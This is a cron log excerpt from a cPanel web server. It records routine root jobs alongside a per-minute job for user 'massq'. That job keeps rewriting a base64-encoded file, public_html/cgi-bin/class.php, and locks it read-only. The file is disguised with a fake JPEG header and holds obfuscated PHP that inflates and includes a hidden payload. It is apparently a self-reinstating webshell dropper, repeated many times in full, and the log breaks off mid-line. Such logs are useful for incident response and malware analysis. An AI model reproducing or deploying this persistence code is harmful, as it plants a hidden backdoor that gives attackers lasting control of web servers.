Apr 10 21:58:01 server CROND[9410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:59:01 server CROND[9476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:00:01 server CROND[9553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:00:01 server CROND[9555]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 22:00:01 server CROND[9556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:00:01 server CROND[9557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:00:01 server CROND[9558]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 22:01:01 server CROND[9710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:01:01 server CROND[9711]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 22:01:01 server run-parts(/etc/cron.hourly)[9711]: starting 0anacron
Apr 10 22:01:01 server run-parts(/etc/cron.hourly)[9723]: finished 0anacron
Apr 10 22:02:01 server CROND[9900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:03:01 server CROND[9961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:04:01 server CROND[10023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:05:01 server CROND[10086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:05:01 server CROND[10087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 22:05:01 server CROND[10088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:05:01 server CROND[10089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:06:01 server CROND[10203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:07:01 server CROND[10262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:08:01 server CROND[10326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:09:01 server CROND[10685]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 22:09:01 server CROND[10686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:10:01 server CROND[10826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 22:10:01 server CROND[10827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:10:01 server CROND[10828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:10:01 server CROND[10829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:11:01 server CROND[10987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV